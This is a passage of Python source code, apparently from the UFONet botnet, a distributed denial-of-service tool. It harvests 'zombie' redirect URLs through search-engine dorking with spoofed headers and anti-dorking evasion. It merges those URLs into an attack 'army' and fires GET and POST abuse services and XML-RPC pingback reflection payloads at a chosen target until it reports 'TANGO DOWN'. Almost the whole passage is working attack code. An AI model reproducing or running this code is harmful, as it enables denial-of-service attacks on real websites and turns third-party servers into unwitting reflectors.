  1393. print("[Info] - Aliens : " + str(num_troops))
  1394. num_drones = 0
  1395. with open('drones.txt') as f:
  1396. for _ in f:
  1397. num_drones = num_drones + 1
  1398. print("[Info] - UCAVs : " + str(num_drones))
  1399. num_reflectors = 0
  1400. with open('reflectors.txt') as f:
  1401. for _ in f:
  1402. num_reflectors = num_reflectors + 1
  1403. print("[Info] - X-RPCs : " + str(num_reflectors))
  1404. total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors
  1405. print("\n[Info] - Congratulations!. Total downloaded: " + str(total_zombies))
  1406. print '-'*12
  1407. if not self.options.forceyes:
  1408. update_reply = raw_input("\nWant to merge ONLY new 'troops' in your army? (Y/n)")
  1409. print '-'*25
  1410. else:
  1411. update_reply = "Y"
  1412. if update_reply == "n" or update_reply == "N":
  1413. os.remove('abductions.txt') # remove abductions file
  1414. os.remove('troops.txt') # remove troops file
  1415. os.remove('robots.txt') # remove robots file
  1416. os.remove('drones.txt') # remove drones file
  1417. os.remove('reflectors.txt') # remove reflectors file
  1418. print "\n[Info] - List downloaded has been removed. Bye!\n"
  1419. else:
  1420. zombies_ready = []
  1421. f = open('abductions.txt')
  1422. abductions = f.readlines()
  1423. f.close()
  1424. fz = open(self.zombies_file)
  1425. zombies = fz.readlines()
  1426. fz.close()
  1427. for abduction in abductions:
  1428. abduction = abduction.replace('\n','')
  1429. if abduction not in zombies:
  1430. zombies_ready.append(abduction)
  1431. else:
  1432. pass
  1433. self.update_zombies(zombies_ready)
  1434. os.remove('abductions.txt') # remove abductions .txt file
  1435. aliens_ready = []
  1436. f = open('troops.txt')
  1437. troops = f.readlines()
  1438. f.close()
  1439. fz = open(self.aliens_file)
  1440. aliens = fz.readlines()
  1441. fz.close()
  1442. for alien in troops:
  1443. alien = alien.replace('\n','')
  1444. if alien not in aliens:
  1445. aliens_ready.append(alien)
  1446. else:
  1447. pass
  1448. self.update_aliens(aliens_ready)
  1449. os.remove('troops.txt') # remove troops .txt file
  1450. droids_ready = []
  1451. f = open('robots.txt')
  1452. robots = f.readlines()
  1453. f.close()
  1454. fz = open(self.droids_file)
  1455. droids = fz.readlines()
  1456. fz.close()
  1457. for droid in robots:
  1458. droid = droid.replace('\n','')
  1459. if droid not in droids:
  1460. droids_ready.append(droid)
  1461. else:
  1462. pass
  1463. self.update_droids(droids_ready)
  1464. os.remove('robots.txt') # remove robots .txt file
  1465. ucavs_ready = []
  1466. f = open('drones.txt')
  1467. drones = f.readlines()
  1468. f.close()
  1469. fz = open(self.ucavs_file)
  1470. ucavs = fz.readlines()
  1471. fz.close()
  1472. for drone in drones:
  1473. drone = drone.replace('\n','')
  1474. if drone not in ucavs:
  1475. ucavs_ready.append(drone)
  1476. else:
  1477. pass
  1478. self.update_ucavs(ucavs_ready)
  1479. os.remove('drones.txt') # remove drones .txt file
  1480. rpcs_ready = []
  1481. f = open('reflectors.txt')
  1482. reflectors = f.readlines()
  1483. f.close()
  1484. fz = open(self.rpcs_file)
  1485. rpcs = fz.readlines()
  1486. fz.close()
  1487. for reflector in reflectors:
  1488. reflector = reflector.replace('\n','')
  1489. if reflector not in rpcs:
  1490. rpcs_ready.append(reflector)
  1491. else:
  1492. pass
  1493. self.update_rpcs(rpcs_ready)
  1494. os.remove('reflectors.txt') # remove reflectors .txt file
  1495. print "\n[Info] - Botnet updated! ;-)\n"
  1496. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  1497. def create_web_interface(self):
  1498. # launch webserver+gui
  1499. from webgui import ClientThread
  1500. import webbrowser
  1501. host = '0.0.0.0'
  1502. port = 9999
  1503. try:
  1504. webbrowser.open('http://127.0.0.1:9999', new=1)
  1505. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1506. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  1507. tcpsock.bind((host,port))
  1508. while True:
  1509. tcpsock.listen(4)
  1510. #print "Listening for incoming connections on http://%s:%d" % (host,port)
  1511. (clientsock, (ip, port)) = tcpsock.accept()
  1512. newthread = ClientThread(ip, port, clientsock)
  1513. newthread.start()
  1514. except (KeyboardInterrupt, SystemExit):
  1515. sys.exit()
  1516. # def crawlering(self):
  1517. # # crawl target's links to discover web structure
  1518. # options = self.options
  1519. # myurl = options.crawl
  1520. # for i in re.findall('''href=["'](.[^"']+)["']''', urllib.urlopen(myurl).read(), re.I):
  1521. # print i
  1522. def extract_dorks(self):
  1523. # extract dorks from file (ex: 'dorks.txt')
  1524. try:
  1525. f = open(self.dorks_file)
  1526. dorks = f.readlines()
  1527. dorks = [ dork.replace('\n','') for dork in dorks ]
  1528. f.close()
  1529. if not dorks:
  1530. if not options.autosearch:
  1531. print "\n[Error] - Imposible to retrieve 'dorks' from file.\n"
  1532. return
  1533. else:
  1534. return dorks
  1535. except:
  1536. if not options.autosearch:
  1537. if os.path.exists(self.dorks_file) == True:
  1538. print '[Error] - Cannot open:', 'dorks.txt', "\n"
  1539. return #sys.exit(2)
  1540. else:
  1541. print '[Error] - Cannot found:', 'dorks.txt', "\n"
  1542. return #sys.exit(2)
  1543. else:
  1544. return
  1545. def search_zombies(self, dork, zombies_found):
  1546. # crawlering on search engine results to extract zombies
  1547. options = self.options
  1548. zombies = []
  1549. if not options.engine: # default search engine
  1550. options.engine = 'yahoo'
  1551. #if options.engine == 'duck': # using duck [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  1552. # url = 'https://duckduckgo.com/html/' # ex: POST -> path
  1553. # if options.search: # search from query
  1554. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results [ deprecated ]
  1555. # if options.dorks: # search from a dork
  1556. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results [ deprecated ]
  1557. # data = 'q=' + q + '&b=&kl=us-en&kp=-1' # evade safe search
  1558. # self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1559. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1560. # if options.verbose:
  1561. # print("[Info] Query used: " + url + " [POST -> " + data + "]\n")
  1562. # try:
  1563. # req = urllib2.Request(url, data, headers)
  1564. # rsp = urllib2.urlopen(req)
  1565. # content = rsp.read()
  1566. # except:
  1567. # print('[Error] - Unable to connect to duck\n')
  1568. # if options.allengines:
  1569. # return
  1570. # if not options.dorks:
  1571. # if not self.options.forceyes:
  1572. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1573. # else:
  1574. # update_reply = "Y"
  1575. # if update_reply == "n" or update_reply == "N":
  1576. # return #sys.exit(2)
  1577. # print "\nSearch engines available:"
  1578. # print '-'*25
  1579. # for e in self.search_engines:
  1580. # print "+ "+e
  1581. # print '-'*25
  1582. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'duck'"
  1583. # return #sys.exit(2)
  1584. # else:
  1585. # req_reply = ''
  1586. # regex = '<a class="result__url" href="(.+?)"' # regex magics [05/08/2016]
  1587. # pattern = re.compile(regex)
  1588. # url_links = re.findall(pattern, req_reply)
  1589. if options.engine == 'bing': # using bing [04/02/2018: OK!]
  1590. url = 'https://www.bing.com/search?'
  1591. if options.search: # search from query
  1592. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  1593. if options.dorks or options.autosearch: # search from a dork
  1594. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  1595. start = 0 # set index number of first entry
  1596. query_string = { 'q':q, 'first':start }
  1597. data = urllib.urlencode(query_string)
  1598. url = url + data
  1599. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1600. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1601. if options.verbose:
  1602. print("Query used: " + url + "\n")
  1603. try:
  1604. req = urllib2.Request(url, None, headers)
  1605. req_reply = urllib2.urlopen(req).read()
  1606. except:
  1607. print('[Error] - Unable to connect to bing\n')
  1608. if options.allengines or options.autosearch:
  1609. return
  1610. if not options.dorks or not options.autosearch:
  1611. if not self.options.forceyes:
  1612. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1613. else:
  1614. update_reply = "Y"
  1615. if update_reply == "n" or update_reply == "N":
  1616. return #sys.exit(2)
  1617. print "\nSearch engines available:"
  1618. print '-'*25
  1619. for e in self.search_engines:
  1620. print "+ "+e
  1621. print '-'*25
  1622. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  1623. return #sys.exit(2)
  1624. else:
  1625. req_reply = ''
  1626. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  1627. pattern = re.compile(regex)
  1628. url_links = re.findall(pattern, req_reply)
  1629. #elif options.engine == 'google': # google [07/10/2015: OK!] [09/08/2016: not working from TOR]
  1630. # url = 'https://www.google.com/xhtml?'
  1631. # if options.search: # search from query
  1632. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
  1633. # if options.dorks: # search from a dork
  1634. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
  1635. # start = 0 # set index number of first entry
  1636. # if options.num_results: # set number of results to search
  1637. # try:
  1638. # num = int(options.num_results)
  1639. # except:
  1640. # print("You should specify an integer!!!. Using default value: 10\n")
  1641. # num = 10
  1642. # else:
  1643. # num = 10
  1644. # gws_rd = 'ssl' # set SSL as default
  1645. # query_string = { 'q':q, 'start':start, 'num':num, 'gws_rd':gws_rd }
  1646. # data = urllib.urlencode(query_string)
  1647. # url = url + data
  1648. # self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1649. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1650. # if options.verbose:
  1651. # print("Query used: " + url + "\n")
  1652. # try:
  1653. # req = urllib2.Request(url, None, headers)
  1654. # req_reply = urllib2.urlopen(req).read()
  1655. # except:
  1656. # print('[Error] - Unable to connect to google\n')
  1657. # if options.allengines:
  1658. # return
  1659. # if not options.dorks:
  1660. # if not self.options.forceyes:
  1661. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1662. # else:
  1663. # update_reply = "Y"
  1664. # if update_reply == "n" or update_reply == "N":
  1665. # return #sys.exit(2)
  1666. # print "\nSearch engines available:"
  1667. # print '-'*25
  1668. # for e in self.search_engines:
  1669. # print "+ "+e
  1670. # print '-'*25
  1671. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1672. # return #sys.exit(2)
  1673. # else:
  1674. # req_reply = ''
  1675. # regex = '<h3 class="r"><a href="/url(.+?)">' # regex magics
  1676. # pattern = re.compile(regex)
  1677. # url_links = re.findall(pattern, req_reply)
  1678. elif options.engine == 'yahoo': # yahoo [27/06/2017: OK!]
  1679. #location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # generate 'flags' for location servers to evade Yahoo anti-dorking on main search webpage [grey magic: 18/08/2016]
  1680. location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  1681. location = str(random.choice(location).strip()) # suffle location
  1682. url = 'https://'+location+'.search.yahoo.com/search?'
  1683. if options.search: # search from query
  1684. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  1685. if options.dorks or options.autosearch: # search from a dork
  1686. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  1687. start = 0 # set index number of first entry
  1688. query_string = { 'p':q, 'b':start }
  1689. data = urllib.urlencode(query_string)
  1690. url = url + data
  1691. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1692. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1693. if options.verbose:
  1694. print("Query used: " + url + "\n")
  1695. try:
  1696. req = urllib2.Request(url, None, headers)
  1697. req_reply = urllib2.urlopen(req).read()
  1698. except:
  1699. print('[Error] - Unable to connect to yahoo\n')
  1700. if options.allengines or options.autosearch:
  1701. return
  1702. if not options.dorks or not options.autosearch:
  1703. if not self.options.forceyes:
  1704. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1705. else:
  1706. update_reply = "Y"
  1707. if update_reply == "n" or update_reply == "N":
  1708. return #sys.exit(2)
  1709. print "\nSearch engines available:"
  1710. print '-'*25
  1711. for e in self.search_engines:
  1712. print "+ "+e
  1713. print '-'*25
  1714. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1715. return #sys.exit(2)
  1716. else:
  1717. req_reply = ''
  1718. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  1719. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  1720. pattern = re.compile(regex)
  1721. url_links = re.findall(pattern, req_reply)
  1722. #elif options.engine == 'yandex': # yandex [07/10/2015: OK!]
  1723. # url = 'https://yandex.ru/search/?'
  1724. # if options.search: # search from query
  1725. # q = 'inurl:"' + str(options.search) + '"' # set query to search literally on results
  1726. # if options.dorks or options.autosearch: # search from a dork
  1727. # q = 'inurl:"' + str(dork) + '"' # set query from a dork to search literally on results
  1728. # start = 0 # set index number of first entry
  1729. # lr = '213' # [27/06/2017: OK!]
  1730. # query_string = { 'text':q, 'lr':lr, 'p':start }
  1731. # data = urllib.urlencode(query_string)
  1732. # url = url + data
  1733. # self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1734. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1735. # if options.verbose:
  1736. # print("Query used: " + url + "\n")
  1737. # try:
  1738. # req = urllib2.Request(url, None, headers)
  1739. # req_reply = urllib2.urlopen(req).read()
  1740. # except:
  1741. # print('[Error] - Unable to connect to yandex\n')
  1742. # if options.allengines or options.autosearch:
  1743. # return
  1744. # if not options.dorks or not options.autosearch:
  1745. # if not self.options.forceyes:
  1746. # update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1747. # else:
  1748. # update_reply = "Y"
  1749. # if update_reply == "n" or update_reply == "N":
  1750. # return #sys.exit(2)
  1751. # print "\nSearch engines available:"
  1752. # print '-'*25
  1753. # for e in self.search_engines:
  1754. # print "+ "+e
  1755. # print '-'*25
  1756. # print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1757. # return #sys.exit(2)
  1758. # else:
  1759. # req_reply = ''
  1760. #regex = '<a class="link link_cropped_no serp-item__title-link" target="_blank" href="(.+?)"' # regex magics
  1761. # if 'captchaSound' in req_reply: # detecting captcha reply
  1762. # print "[Info] - This search engine is asking for a captcha...\n"
  1763. # if options.allengines or options.autosearch:
  1764. # url_links = "" # keep running!
  1765. # else:
  1766. # regex = 'target="_blank" href="(.+?)" onmousedown="rc' # [27/06/2017] regex magics
  1767. # pattern = re.compile(regex)
  1768. # url_links = re.findall(pattern, req_reply)
  1769. else: # no valid search engine
  1770. print('[Error] - This search engine is not supported!\n')
  1771. if not options.dorks or options.autosearch:
  1772. if not self.options.forceyes:
  1773. update_reply = raw_input("Want to try a different search engine? (Y/n)")
  1774. else:
  1775. update_reply = "Y"
  1776. if update_reply == "n" or update_reply == "N":
  1777. return #sys.exit(2)
  1778. print "\nSearch engines available:"
  1779. print '-'*25
  1780. for e in self.search_engines:
  1781. print "+ "+e
  1782. print '-'*25
  1783. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  1784. return #sys.exit(2)
  1785. else:
  1786. req_reply = ''
  1787. if options.num_results: # set number of results to search
  1788. try:
  1789. num = int(options.num_results)
  1790. except:
  1791. print("You should specify an integer!!!. Using default value: 10\n")
  1792. num = 10
  1793. else:
  1794. num = 10
  1795. total_results = 1
  1796. for url in url_links: # general parse on urls
  1797. if int(num) < int(total_results):
  1798. break
  1799. if options.engine == "bing":
  1800. if " h=" in url: # regex magics [18/08/2016]
  1801. url = url.rsplit('" h=',1)[0]
  1802. if options.engine == "yahoo":
  1803. if 'RU=' in url: # regex magics [18/08/2016]
  1804. url = url.rsplit('RU=',1)[1]
  1805. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  1806. url = url.rsplit('UTF-8&u=',1)[1]
  1807. #if options.engine == "yandex":
  1808. # if 'rel="' in url: # regex magics [27/06/2017]
  1809. # url = url.rsplit('rel=',1)[1]
  1810. total_results = total_results + 1 # results counter
  1811. url_link = url.strip('?q=') # parse url_links to retrieve only a url
  1812. url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
  1813. if options.search:
  1814. sep = str(options.search)
  1815. if options.dorks or options.autosearch:
  1816. sep = str(dork)
  1817. url_link = url_link.rsplit(sep, 1)[0] + sep
  1818. if 'href="' in url_link:
  1819. url_link = url_link.rsplit('href="', 1)[1]
  1820. if "instreamset" in url_link: # invalid zombie
  1821. url_link = "" # discarded
  1822. if '" ' in url_link:
  1823. url_link = url_link.rsplit('" ', 1)[1]
  1824. if options.engine in url_link:
  1825. url_link = "" # discarded
  1826. if 'http' not in url_link:
  1827. url_link = "" # discarded
  1828. else:
  1829. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  1830. print('+Victim found: ' + url_link)
  1831. print '-'*12
  1832. zombies.append(url_link)
  1833. else:
  1834. pass
  1835. if len(zombies) == 0: # print dorking results
  1836. print "[Info] - NOT any NEW victim(s) found for this query!"
  1837. if not options.dorks:
  1838. if not options.autosearch:
  1839. if not self.options.forceyes:
  1840. return #sys.exit(2)
  1841. print "\n" + '-'*44 + '\n'
  1842. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  1843. return zombies
  1844. def check_nat(self):
  1845. # check for NAT configuration
  1846. options = self.options
  1847. from urllib import urlopen
  1848. tor_reply = urllib2.urlopen("https://check.torproject.org").read() # check if TOR is enabled
  1849. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  1850. if not tor_reply or 'Congratulations' not in tor_reply:
  1851. print("[Info] It seems that you are not using TOR to recieve data. Good!\n")
  1852. else:
  1853. print("[Error] You are using TOR as public IP... It's not possible to NAT!\n")
  1854. self.nat_error_flag = "ON"
  1855. return #sys.exit(2)
  1856. try:
  1857. data = str(urlopen('http://checkip.dyndns.com/').read()) # check for public ip
  1858. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  1859. except:
  1860. try: # another check for public ip
  1861. data = str(urlopen('http://whatismyip.org/').read())
  1862. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  1863. except:
  1864. print("[Error] Something wrong checking your public IP using an external service. Try it again!\n")
  1865. self.nat_error_flag = "ON"
  1866. return #sys.exit(2)
  1867. print " + Public: " + self.pub_ip + "\n"
  1868. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1869. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  1870. self.local_ip = s.getsockname()[0]
  1871. print " + Local: " + self.local_ip + "\n"
  1872. print '='*22 + '\n'
  1873. def extract_ucavs(self):
  1874. # extract ucavs from file
  1875. options = self.options
  1876. try:
  1877. f = open(self.ucavs_file)
  1878. ucavs = f.readlines()
  1879. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  1880. f.close()
  1881. if not ucavs:
  1882. print "\n[Error] - Imposible to retrieve 'ucavs' from file.\n"
  1883. return
  1884. else:
  1885. return ucavs
  1886. except:
  1887. if os.path.exists(self.ucavs_file) == True:
  1888. print '\n[Error] - Cannot open:', 'ucavs.txt', "\n"
  1889. return #sys.exit(2)
  1890. else:
  1891. print '\n[Error] - Cannot found:', 'ucavs.txt', "\n"
  1892. return #sys.exit(2)
  1893. def check_is_up(self, target):
  1894. # extract external status checkers, perform a request and check results
  1895. options = self.options
  1896. num_is_up = 0 # counter for 'up' reports
  1897. num_is_down = 0 # counter for 'down' reports
  1898. print "\n[Info] Flying some UCAV with 'heat-beam' weapons...\n"
  1899. ucavs = self.extract_ucavs() # extract ucavs from file
  1900. self.total_ucavs = len(ucavs) # add total of ucavs to stats
  1901. shuffle(ucavs) # suffle ucavs
  1902. for ucav in ucavs:
  1903. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  1904. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1905. if target.startswith("http://"): # parse target for some checkers
  1906. target = target.replace('http://','')
  1907. elif target.startswith("https://"):
  1908. target = target.replace('https://','')
  1909. url = ucav + target
  1910. if options.verbose:
  1911. print("[Info] Sniping: " + url)
  1912. try:
  1913. if options.proxy: # set proxy
  1914. self.proxy_transport(options.proxy)
  1915. req = urllib2.Request(url, None, headers)
  1916. target_reply = urllib2.urlopen(req).read()
  1917. else:
  1918. req = urllib2.Request(url, None, headers)
  1919. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  1920. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  1921. except:
  1922. print "[Error] UCAV: " + ucav + " -> FAILED (cannot connect!)"
  1923. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  1924. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  1925. print "[Info] UCAV: " + ucav + " -> HIT! || Report: ONLINE! [Keep shooting!]"
  1926. num_is_up = num_is_up + 1
  1927. else:
  1928. print "[Info] UCAV: " + ucav + " -> FAILED? || Report: Target looks OFFLINE from here!!! ;-)"
  1929. num_is_down = num_is_down + 1
  1930. if num_is_down > 0 and num_is_up == 0: # check for: 1 or more down, 0 up
  1931. print "\n[Info] Congratulations!. Your target looks OFFLINE from external sources...\n"
  1932. if not self.options.forceyes:
  1933. update_reply = raw_input("Want to send a [HEAD] check request from your proxy? (y/N)")
  1934. print '-'*25
  1935. else:
  1936. update_reply = "N"
  1937. if update_reply == "y" or update_reply == "Y":
  1938. try: # send HEAD connection
  1939. self.head = True
  1940. reply = self.connect_zombie(target)
  1941. self.head = False
  1942. if reply:
  1943. print "\n[Info] Wow! Target is replying you... Keep shooting!\n"
  1944. else:
  1945. print "\n[Info] #UFONet TANGO DOWN!!! -> " +target + "\n"
  1946. self.update_targets_crashed() # update targets crashed stats
  1947. self.update_mothership_stats() # update mothership completed attack stats
  1948. if self.options.web:
  1949. return
  1950. else:
  1951. sys.exit(2) # Debug traceback (without crash) to celebrate it! ;-)
  1952. except Exception:
  1953. print "[Error] Something wrong with your connection!"
  1954. if self.options.verbose:
  1955. traceback.print_exc()
  1956. return #sys.exit(2)
  1957. else:
  1958. print "[Info] #UFONet TANGO DOWN!!! -> " +target + "\n"
  1959. self.update_targets_crashed() # update targets crashed stats
  1960. self.update_mothership_stats() # update mothership completed attack stats
  1961. if self.options.web:
  1962. return
  1963. else:
  1964. sys.exit(2) # Debug traceback (without crash) for celebrate it! ;-)
  1965. def send_aliens(self, target):
  1966. # extract external web abuse services urls (POST) and perform requests against target
  1967. options = self.options
  1968. print "\n[Info] Deploying heavy alien troops with 'laser-cannon' weapons...\n"
  1969. aliens = self.extract_aliens() # extract aliens from file
  1970. self.total_aliens = len(aliens) # add total of aliens to stats
  1971. shuffle(aliens) # suffle aliens
  1972. for alien in aliens:
  1973. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  1974. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  1975. pattern_alien = re.compile(regex_alien)
  1976. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  1977. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  1978. pattern_param = re.compile(regex_param)
  1979. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  1980. for u in alien_url:
  1981. url = u # ex: POST -> path/submit.php
  1982. print "[Info] Firing from: " + url
  1983. for p in param:
  1984. param_target = {p : target} # ex POST -> url=target
  1985. param_target = urllib.urlencode(param_target)
  1986. try:
  1987. if options.verbose:
  1988. print "[Info] Sniping: " + url + " - POST:", param_target
  1989. req = urllib2.Request(url, param_target)
  1990. rsp = urllib2.urlopen(req)
  1991. #content = rsp.read()
  1992. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  1993. except Exception:
  1994. print "[Error] Alien: " + alien + " -> FAILED (cannot connect!)"
  1995. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  1996. def extract_aliens(self):
  1997. # extract aliens from file
  1998. options = self.options
  1999. try:
  2000. f = open(self.aliens_file)
  2001. aliens = f.readlines()
  2002. aliens = [ alien.replace('\n','') for alien in aliens ]
  2003. f.close()
  2004. if not aliens:
  2005. print "\n[Error] - Imposible to retrieve 'aliens' from file.\n"
  2006. return
  2007. else:
  2008. return aliens
  2009. except:
  2010. if os.path.exists(self.aliens_file) == True:
  2011. print '\n[Error] - Cannot open:', 'aliens.txt', "\n"
  2012. return #sys.exit(2)
  2013. else:
  2014. print '\n[Error] - Cannot found:', 'aliens.txt', "\n"
  2015. return #sys.exit(2)
  2016. def send_droids(self, target):
  2017. # extract external web abuse services urls (GET) and perform requests against target
  2018. options = self.options
  2019. print "\n[Info] Deploying droids with 'light-laser' weapons...\n"
  2020. droids = self.extract_droids() # extract droids from file
  2021. self.total_droids = len(droids) # add total of droids to stats
  2022. shuffle(droids) # suffle droids
  2023. target = urllib.unquote(target).decode('utf8') # parte urlencoding
  2024. if target.startswith('http://'): # remove http
  2025. target = target.replace('http://', '')
  2026. if target.startswith('https://'):
  2027. target = target.replace('https://', '') # remove https
  2028. for droid in droids:
  2029. if "$TARGET" in droid: # replace droid/parameter for target
  2030. url = droid.replace("$TARGET", target)
  2031. print "[Info] Firing from: " + url
  2032. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2033. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  2034. try:
  2035. req = urllib2.Request(url, None, headers)
  2036. rsp = urllib2.urlopen(req)
  2037. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  2038. except Exception:
  2039. print "[Error] Droid: " + url + " -> FAILED (cannot connect!)"
  2040. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2041. def extract_droids(self):
  2042. # extract droids from file
  2043. options = self.options
  2044. try:
  2045. f = open(self.droids_file)
  2046. droids = f.readlines()
  2047. droids = [ droid.replace('\n','') for droid in droids ]
  2048. f.close()
  2049. if not droids:
  2050. print "\n[Error] - Imposible to retrieve 'droids' from file.\n"
  2051. return
  2052. else:
  2053. return droids
  2054. except:
  2055. if os.path.exists(self.droids_file) == True:
  2056. print '\n[Error] - Cannot open:', 'droids.txt', "\n"
  2057. return #sys.exit(2)
  2058. else:
  2059. print '\n[Error] - Cannot found:', 'droids.txt', "\n"
  2060. return #sys.exit(2)
  2061. def send_rpcs(self, target):
  2062. # extract vulnerable XML-RPC pingback services and perform requests against target
  2063. print "\n[Info] Aiming 'plasma' cannon reflector turrets...\n"
  2064. rpcs = self.extract_rpcs() # extract rpcs from file
  2065. self.total_rpcs = len(rpcs) # add total of rpcs to stats
  2066. shuffle(rpcs) # suffle rpcs
  2067. def random_key(length):
  2068. key = ''
  2069. for i in range(length):
  2070. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2071. return key
  2072. for rpc in rpcs:
  2073. print "[Info] Firing from: " + rpc
  2074. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2075. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2076. key = random_key(8) # generate random value page to bypass cache
  2077. rpc_page = "?" + str(key)
  2078. key = random_key(6) # re-generate random value id to bypass cache
  2079. rpc_id = "=" + str(key)
  2080. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  2081. if "/xmlrpc.php" in rpc:
  2082. rpc_place = rpc.replace("xmlrpc.php", "")
  2083. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  2084. try:
  2085. req = urllib2.Request(rpc, rpc_exploit, headers)
  2086. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2087. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  2088. if self.options.verbose:
  2089. print "Reply:", target_reply
  2090. except:
  2091. print "[Error] X-RPC: " + rpc + " -> FAILED (cannot connect!)"
  2092. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  2093. def extract_rpcs(self):
  2094. # extract rpcs from file
  2095. options = self.options
  2096. try:
  2097. f = open(self.rpcs_file)
  2098. rpcs = f.readlines()
  2099. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  2100. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  2101. f.close()
  2102. if not rpcs:
  2103. print "\n[Error] - Imposible to retrieve 'rpcs' from file.\n"
  2104. return
  2105. else:
  2106. return rpcs
  2107. except:
  2108. if os.path.exists(self.rpcs_file) == True:
  2109. print '\n[Error] - Cannot open:', 'rpcs.txt', "\n"
  2110. return #sys.exit(2)
  2111. else:
  2112. print '\n[Error] - Cannot found:', 'rpcs.txt', "\n"
  2113. return #sys.exit(2)
  2114. def extract_zombies(self):
  2115. # extract targets from file
  2116. options = self.options
  2117. if self.options.test:
  2118. try:
  2119. f = open(options.test)
  2120. zombies = f.readlines()
  2121. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2122. f.close()
  2123. if not zombies:
  2124. print "\n[Error] - Imposible to extract 'zombies' from file "+options.test+".\n"
  2125. return
  2126. else:
  2127. return zombies
  2128. except:
  2129. if os.path.exists(options.test) == True:
  2130. print '\n[Error] - Cannot open:', options.test, "\n"
  2131. return #sys.exit(2)
  2132. else:
  2133. print '\n[Error] - Cannot found:', options.test, "\n"
  2134. return #sys.exit(2)
  2135. else:
  2136. try:
